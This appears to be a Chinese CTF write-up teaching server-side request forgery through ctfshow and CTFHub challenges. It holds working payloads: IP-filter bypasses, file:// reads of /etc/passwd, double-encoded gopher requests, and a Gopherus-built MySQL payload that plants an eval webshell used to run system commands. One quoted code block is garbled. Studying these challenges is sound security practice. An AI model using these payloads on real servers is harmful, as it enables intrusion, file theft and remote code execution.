• 以题为例浅谈SSRF


    什么是ssrf

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

    一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统);

    我对于ssrf的理解就是:黑客想要去攻击一个网站,但却不好进行攻破,就找到它的服务器,从服务器上访问,得到想要的资源;

    漏洞产生的函数

    file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

    file_get_contents()

    而用在这里,它在网址中具有从用户指定的url中获取内容,然后指定一个文件报存,并呈现给用户,在这里顺便也提一下file_put_content() 这两个函数在一些环境中还是经常使用的,它的作用就是将字符串写入一个文件中,这两个函数正好相反,一个是将文件中的字符串读出来,一个是将字符串写入文件中;

    fsockopen()

    fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

    fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ) :

    hostname

    如果安装了OpenSSL,那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://,从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。

    port

    端口号。如果对该参数传一个-1,则表示不使用端口,例如unix://

    errno

    如果传入了该参数,holds the system level error number that occurred in the system-level connect() call。

    如果errno的返回值为0,而且这个函数的返回值为FALSE,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。

    errstr

    错误信息将以字符串的信息返回。

    timeout

    设置连接的时限,单位为秒。

    注意:如果你要对建立在套接字基础上的读写操作设置操作时间设置连接时限,请使用stream_set_timeout()fsockopen()的连接时限(timeout)的参数仅仅在套接字连接的时候生效。

    以上来自php中文网站:网络 函数 « PHP Manual | PHP 中文手册

    curl_exec()

    curl_exec()函数用于执行指定的cURL会话

    示例代码

    1. if (isset($_POST['url'])){
    2. $link = $_POST['url'];
    3. $curlobj = curl_init();// 创建新的 cURL 资源
    4. curl_setopt($curlobj, CURLOPT_POST, 0);
    5. curl_setopt($curlobj,CURLOPT_URL,$link);
    6. curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    7. $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    8. curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
    9. $filename = './curled/'.rand().'.txt';
    10. file_put_contents($filename, $result);
    11. echo $result;
    12. }
    13. ?>

    fopen()

    对文件进行操作的函数

    readfile()

    利用漏洞常使用的协议

    file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
    dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
    sftp:// SSH文件传输协议或安全文件传输协议
    ldap:// 轻量级目录访问协议
    tftp:// 简单文件传输协议
    gopher:// 分布式文档传递服务,可使用gopherus生成payload

    比较经常使用的协议我介绍一下,有些协议我遇到了在补充

    file协议

    常用于去访问flag文件和index.php主页文件

    1. ?url=file:///var/www/html/flag.php
    2. ?url=file:///var/www/html/index.php

    dict://协议

    目前还没怎么使用过,遇到在补充

    gopher://协议

    这个协议是ssrf中利用较多的,最强大的协议(俗称万能协议)

    gopher://ip:port/_TCP/IP数据流

    注意

    • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
    • 数据流末尾使用%0d%0a代表消息结束

    在之后的题目会提及到

    详细介绍这几个协议的呈上大佬的博客:SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客

    SSRF利用协议中的万金油——Gopher_ssrf的gopher://-CSDN博客

    关于绕过

    网址相关绕过

    指向127.0.0.1的地址有如下地址

    1. http://localhost/:localhost 代表127.0.0.1。
    2. http://0/:0 在Windows中代表0.0.0.0,在Linux下代表127.0.0.1。
    3. http://0.0.0.0/: 这个IP表示本机IPv4的所有地址。
    4. http://[0:0:0:0:ffff:127.0.0.1]/:Linux 系统下可用,Windows系统下不可用
    5. http://[::]:80/:Linux 系统下可用,Windows系统下不可用。
    6. http://127 。0。0。1/:用中文句号绕过关键字检测。
    7. http://①②⑦.①.①.①: 封闭式字母数字。
    8. http://127.1/: 省略0。
    9. http://127.000.000.001:1 和0的数量没影响,最终依然指向127.0.0.1。
    10. url=http://sudo.cc/flag.php //sudo.cc也可以指向127.0.0.1

    http头相关绕过

    httpsssss://
    

    include()和file_get_contents()遇到不认识的文件头的时候就会将这个协议头当作文件夹从而造成目录穿越

    如下面这个例子

    1. // ssrf.php
    2. highlight_file(__FILE__);
    3. if(!preg_match('/^https/is',$_GET['url'])){
    4. die("no hack");
    5. }
    6. echo file_get_contents($_GET['url']);
    7. ?>

    payload

    ssrf.php?url=httpsssss://../../../../../../etc/passwd
    

    还有一些关于函数的绕过这位大佬写的非常详细:CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

    它在绕过中关于url的相关的写的非常的详细,可以看看

    绕过总结

    利用@

    如:http://example@127.0.0.1

    http://www.baidu.com@10.10.10.10和http://10.10.10.10请求时相同的

    添加端口号

    http://127.0.0.1:8080

    利用短地址

    http://dwz.cn/11SMa

    ip地址进制转换

    以192.168.109.150为例

    首先,转换16进制:c0.a8.6d.96

    接着,转换为八进制:300.250.155.226

    即192.168.109.150=300250155226 访问:http://00300250155226

    题目示例

    多说无益,以题见真章

    ctfshow web入门 ssrf

    web351

    打开题目看到源码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $ch=curl_init($url);
    5. curl_setopt($ch, CURLOPT_HEADER, 0);
    6. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    7. $result=curl_exec($ch);
    8. curl_close($ch);
    9. echo ($result);
    10. ?>

    对url进行了一系列的curl相关的操作,但并没有过滤任何东西

    直接post就行

    payload

    url=127.0.0.1/flag.php

    web352

    看源码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|127.0.0/')){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?>

    比上一道题多了一个正则并且要求前缀是一个http或https,直接用0进行绕过,前面的绕过已经提及到了就不多说了;

    payload

    http://0/flag.php

    web353

    看源码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?>

    这道题又多加了一个过滤,过滤了.0,接着用.0.0.0.0进行绕过,上面的绕过已经写过了,在这里就不多说了;

    payload

    ?url=http://0.0.0.0/flag.php

    web354

    源代码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|1|0|。/i', $url)){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?> hacker

    这道题又多学了一种姿势,用sudo.cc指向127.0.0.1

    payload

    url=http://sudo.cc/flag.php

    web355

    源码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. $host=$x['host'];
    7. if((strlen($host)<=5)){
    8. $ch=curl_init($url);
    9. curl_setopt($ch, CURLOPT_HEADER, 0);
    10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    11. $result=curl_exec($ch);
    12. curl_close($ch);
    13. echo ($result);
    14. }
    15. else{
    16. die('hacker');
    17. }
    18. }
    19. else{
    20. die('hacker');
    21. }
    22. ?>

    限制了长度,绕过payload

    http://0/flag.php

    web356

    源码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. $host=$x['host'];
    7. if((strlen($host)<=3)){
    8. $ch=curl_init($url);
    9. curl_setopt($ch, CURLOPT_HEADER, 0);
    10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    11. $result=curl_exec($ch);
    12. curl_close($ch);
    13. echo ($result);
    14. }
    15. else{
    16. die('hacker');
    17. }
    18. }
    19. else{
    20. die('hacker');
    21. }
    22. ?>

    还是限制了长度上一道题的payload仍然可以用;

    web357

    这道题留在后面,统一知识点进行解释

    web358

    源码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    6. echo file_get_contents($url);
    7. }

    这道题要求以http开头以show结尾

    payload

    url=http://ctf.@127.0.0.1/flag.php?show

    在这里介绍下parse_url()函数的利用

    它是对于url的一个分解

    举例代码

    1. $url = 'http://ctf.@127.0.0.1/flag.php?show';
    2. $x = parse_url($url);
    3. var_dump($x);
    4. ?>
    5. //运行结果:
    6. array(5) {
    7. ["scheme"]=>
    8. string(4) "http"
    9. ["host"]=>
    10. string(9) "127.0.0.1"
    11. ["user"]=>
    12. string(4) "ctf."
    13. ["path"]=>
    14. string(9) "/flag.php"
    15. ["query"]=>
    16. string(4) "show"
    17. }

    后面两道题也是统一进行解释说明

    靶场ctfhub

    在ctfhub中对于ssrf的知识点有以下几种,

    内网访问

    给的提示:尝试访问位于127.0.0.1的flag.php吧

    打开后直接去访问就可以得到flag了

    payload

    ?url=127.0.0.1/flag.php

    伪协议读取文件

    直接用伪协议读取flag文件

    ?url=file://var/www/html/flag.php

    记得访问之后要查看源码才能得到flag

    端口扫描

    给了提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

    直接抓包,在端口处添加变量在8000到9000之间进行爆破,找到和其它字段数长度不一样的就可以得到flag了

    用bp爆破

    POST请求

    这道题给的提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

    打开之后什么都没有,去访问源码

    1. ?url=file:///var/www/html/index.php
    2. ?url=file:///var/www/html/flag.php

    查看后得到两段源码

    index.php的源码

    1. error_reporting(0);
    2. if (!isset($_REQUEST['url'])){
    3. header("Location: /?url=_");
    4. exit;
    5. }
    6. $ch = curl_init();
    7. curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    10. curl_exec($ch);
    11. curl_close($ch);

    flag.php源码

    1. error_reporting(0);
    2. if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    3. echo "Just View From 127.0.0.1";
    4. return;
    5. }
    6. $flag=getenv("CTFHUB");
    7. $key = md5($flag);
    8. if (isset($_POST["key"]) && $_POST["key"] == $key) {
    9. echo $flag;
    10. exit;
    11. }
    12. ?>
    13. "/flag.php" method="post">
    14. "text" name="key">

    这里需要利用gopher://协议,先介绍一下gopher://协议的一些基本情况

        Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。
    

    在访问?url=127.0.0.1/flag.php时,它告诉我们需要从127.0.0.1中来访问,那就是从内网进行访问,内网进行访问需要gopher://协议,进行POST请求;

    构造gopher://协议,进行请求;

    需要构造以下payload

    1. POST /flag.php HTTP/1.1
    2. Host: 127.0.0.1:80
    3. Content-Type: application/x-www-form-urlencoded
    4. Content-Length: 36
    5. key=7a63523334ee824db18990ffc181d204

    开始构造,有两种方法进行构造,第一种方法就是自己进行url编码,将上面这些内容进行两次url编码;在进行编码时需要注意以下方面

    1.在使用gopher协议发送POST请求包时,Host,Content-Type和Content-Length请求头是必不可少的,但在GET请求中没有要求;

    2.在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl时会进行第二次解码;所以我们要对请求包进行两次url编码;

    3.在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节

    这是编码之后的payload

    ?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13
    

    第二种方法就是用脚本

    以下是借助大佬的脚本

    1. import urllib.parse
    2. payload =\
    3. """
    4. POST /flag.php HTTP/1.1
    5. Host: 127.0.0.1:80
    6. Content-Type: application/x-www-form-urlencoded
    7. Content-Length: 36
    8. key=7a63523334ee824db18990ffc181d204
    9. """
    10. #注意后面一定要有回车,回车结尾表示http请求结束
    11. tmp = urllib.parse.quote(payload)
    12. new = tmp.replace('%0A','%0D%0A')
    13. result = 'gopher://127.0.0.1:80/'+'_'+new
    14. result = urllib.parse.quote(result)
    15. print(result) # 这里因为是GET请求所以要进行两次url编码

    这个脚本运行结果和上面手动的结果一模一样

    上传文件

    看一下这道题的提示:这次需要上传一个文件到flag.php了.祝你好运

    它需要上传一个flag.php文件,打开127.0.0.1/flag.php发现一个文件上传框,但只能选择文件不能上传文件,在源码中我们将文件上传框给补上,然后上传文件抓包,发现只有内网才能上传文件

    我们构造post包进行传参

    post包如下

    1. POST /flag.php HTTP/1.1
    2. Host: 127.0.0.1
    3. Content-Length: 292
    4. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
    5. ------WebKitFormBoundary1lYApMMA3NDrr2iY
    6. Content-Disposition: form-data; name="file"; filename="test.txt"
    7. Content-Type: text/plain
    8. SSRF Upload
    9. ------WebKitFormBoundary1lYApMMA3NDrr2iY
    10. Content-Disposition: form-data; name="submit"
    11. 提交
    12. ------WebKitFormBoundary1lYApMMA3NDrr2iY--

     我们可以使用Python脚本实现两次URL编码,第一次完成后需要将%0A修改为%0D%0A(也可以通过URL编码工具进行手动编码)

    python脚本进行编码

    1. import urllib.parse
    2. payload = \
    3. """POST /flag.php HTTP/1.1
    4. Host: 127.0.0.1
    5. Content-Length: 292
    6. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
    7. ------WebKitFormBoundary1lYApMMA3NDrr2iY
    8. Content-Disposition: form-data; name="file"; filename="test.txt"
    9. Content-Type: text/plain
    10. SSRF Upload
    11. ------WebKitFormBoundary1lYApMMA3NDrr2iY
    12. Content-Disposition: form-data; name="submit"
    13. 提交
    14. ------WebKitFormBoundary1lYApMMA3NDrr2iY--"""
    15. #注意后面一定要有回车,回车结尾表示http请求结束
    16. tmp = urllib.parse.quote(payload)
    17. # print(tmp)
    18. new = tmp.replace('%0A','%0D%0A')
    19. # print(new)
    20. result = 'gopher://127.0.0.1:80/'+'_'+new
    21. result = urllib.parse.quote(result)
    22. print(result) # 这里因为是GET请求所以要进行两次url编码

    也可以自己进行url编码,这是自己手动编码的结果

    ?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--
    

    URL Bypass

    那两个题和ctfshow web入门两道题一起说;

    提示:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

    打开题目,我们这个题可以用HTTP的基本身份验证绕过:

    HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。

    也就是http://www.xxx.com@www.yyy.com形式;

    构造payload

    1. ?url=
    2. http://notfound.ctfhub.com@127.0.0.1/flag.php

    数字IP Bypass

    看一下提示:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

    打开题目用上一道题的方式访问一下flag.php,看到它恢复的和提示一模一样,搬掉了127又想访问就用进制转换进行绕过,又学了一种绕过方式既然不能使用十进制的IP,那我们尝试将IP转换为十六进制

    八进制:0177.000.000.001
    十进制:127.0.0.1
    十六进制:0x7f000001

    构造payload获得flag

    1. ?url=
    2. 0x7f000001/flag.php

    302跳转Bypass

    看看题目的提示:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

    老规矩用file协议查看?url=file:///var/www/html/flag.php,?url=file:///var/www/html/index.php

    分别得到两个源码

    flag.php

    1. error_reporting(0);
    2. if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    3. echo "Just View From 127.0.0.1";
    4. exit;
    5. }
    6. echo getenv("CTFHUB");

    index.php

    1. error_reporting(0);
    2. if (!isset($_REQUEST['url'])) {
    3. header("Location: /?url=_");
    4. exit;
    5. }
    6. $url = $_REQUEST['url'];
    7. if (preg_match("/127|172|10|192/", $url)) {
    8. exit("hacker! Ban Intranet IP");
    9. }
    10. $ch = curl_init();
    11. curl_setopt($ch, CURLOPT_URL, $url);
    12. curl_setopt($ch, CURLOPT_HEADER, 0);
    13. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    14. curl_exec($ch);
    15. curl_close($ch);

    我们可以看到过滤了127,172,10,192;

    但是没有限制localhost

    直接payload

    1. ?url=
    2. localhost/flag.php

    另一种方法就是用自己的服务器进行跳转

    1. #302.php
    2. header("Location:http://127.0.0.1/flag.php");

    写一个文件写到自己的服务器上,然后访问

    payload:?url=http://[公网IP]/302.php
    

    实现302跳转

    payload:?url=http://[公网IP]/302.php
    

    这个放到最后解释一下这个题型

    DNS重绑定 Bypass

    打开题目查看题型:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

    rbndr.us dns rebinding service 这是DNS重定向的一个网站

    这里解释一下DNS重定向,它也是一种绕过方式;

    浅谈DNS重绑定漏洞 - 知乎 (zhihu.com) 这是那个附件,DNS重定向我的理解就是当用户访问一个域名,那么这个域名就会访问绑定的这个ip地址,当用户下次在去访问时浏览器就不会去检查会直接进行访问这个ip,而这个ip绑定的域名只有管理员能够修改

    这个题就直接用DNS重定向进行绕过,老规矩利用file协议查看源码,这是index.php

    1. 1 2
    2. 3 error_reporting(0);4
    3. 5 if (! isset($_REQUEST['ur1'])) {6
    4. header("Location: /?ur1=_");
    5. 7
    6. exit;
    7. 8 }
    8. 9
    9. 10 $ur1 = $_REQUEST['ur1'];11
    10. 12 if (preg_match("/127|172/10/192/"$ur1)) {13
    11. exit("hacker! Ban Intranet IP");14 }
    12. 15
    13. 16 $ch = curl_init();
    14. 17 curl_setopt($ch,CURLOPT_URL,$ur1);18 curl_setopt($ch,CURLOPT_HEADER,O);19 curl_exec($ch);
    15. 20 curl_close($ch) ;21

    flag.php就是告诉我们禁止了127.0.0.1这个ip

    payload就是

    1. ?url=
    2. 7f000001.7f000002.rbndr.us/flag.php

    ok,基本的知识就此完结,接下来开始介绍一些比较难搞的题目和知识

    302跳转和301重定向

    先介绍一下这两者的区别:

    302跳转是暂时的,而301重定向是永久的,但在ssrf题中,使用这两者是没有区别的,我们会用一种就行,在这里我将用302跳转对这两道题进行解释

    它也是ssrf的一种绕过方法,上面有两道题可以去进行302跳转

    ctfshow 354

    看一下源代码

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|1|0|。/i', $url)){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?> hacker

    它过滤了1,0,localhost,我们可以使用我上面的方法进行绕过,也可以使用302跳转进行绕过,

    在自己的服务器上写一个php文件,内容为

    1. header("Location:http://127.0.0.1/flag.php");

    然后去访问这个文件,但服务器的公网地址不能含有1和0,这就比较难实现了,所以需要找一个软件可以免费的提供域名才可以简单的去做这道题这个工具为cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站

    可以自行安装一下并调试一下去使用,然后用域名去跳转这个文件就可以得到flag

    当然还有别的内网穿透工具,可以自行上网搜索;

    另一道题也是同样做法

    SSRF题的最后一点:Gopherus的使用

    它是需要做无回显的SSRF题,下面以题为例,介绍一下这个软件

    ctfshow web359

    打开题目就是一个登录框,返回去看看提示:

    打无密码的mysql

    在kali系统或服务器上安装一下Gopherus

    安装和使用命令

    1. git clone https://github.com/tarunkant/Gopherus.git
    2. python gopherus.py

    安装之后一定要打开那个文件夹,再去启动这个命令

    1. python2 .\gopherus.py --exploit mysql

    然后按照提示写下如下内容

    1. username:root
    2. 写入一句话木马
    3. select "" into outfile '/var/www/html/2.php';

    然后一定要在次url编码,因为将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次)

    我用在线工具编码没有成功,用php代码编码之后在上传之后才成功了

    php代码如下

    1. $str="%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01";
    2. echo "gopher://127.0.0.1:3306/_".urlencode($str);

    达到如下页面,之后在网址访问url/2.php然后执行命令

    1. ?cmd=system('ls /');
    2. ?cmd=system('cat /flag.txt')

    flag就出来了

    ctfshow web360

    和上题差不多,但不知道是环境问题还是什么问题,我没有弄成功思路是正确的,这道题转了好久直接504;

    在这里介绍一下什么是Redis服务

    1. 什么是Redis未授权访问?
    2. Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
    3. 简单说,漏洞的产生条件有以下两点:
    4. redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
    5. 没有设置密码认证(一般为空),可以免密码远程登录redis服务

    这段介绍来自这位大佬的博客:CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

    如何测试Redis呢?

    访问这个端口出现报错就是存在Redis

    如何访问,以此题为例

    就是这样去检测

    这道题同样在Gopherus生成后在用那个脚本重新在url编码一次

    还有ctfhub技能树上的

    FastCGI协议

    看一下提示:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

    同样的手法:

    python2 gopherus.py --exploit fastcgi

    这样运行后两次编码

    之后把ls哪里在改成cat /f*就行了,同样它的Redis协议和ctfshow上的Redis协议做法相同就不再重复说了

    ssrf的学习先告一段落了,其后就是在比赛遇到题了在补充,如果还有什么题和方法我会直接补充到这个博客中,有用到的可以收藏一下;下一个学习ssti漏洞

  • 相关阅读:
    MiniExcel
    数据结构 day2
    Clion~Clion常用配置和插件
    京东获得JD商品详情 API 返回值说明
    Jenkins+vue发布项目
    基于Android的教室预约系统
    Apache Hive 数据掩码函数教程
    React与Vue的区别
    ARM汇编
    2022-2028全球视频监控软件行业调研及趋势分析报告
  • 原文地址:https://blog.csdn.net/weixin_74427106/article/details/136678714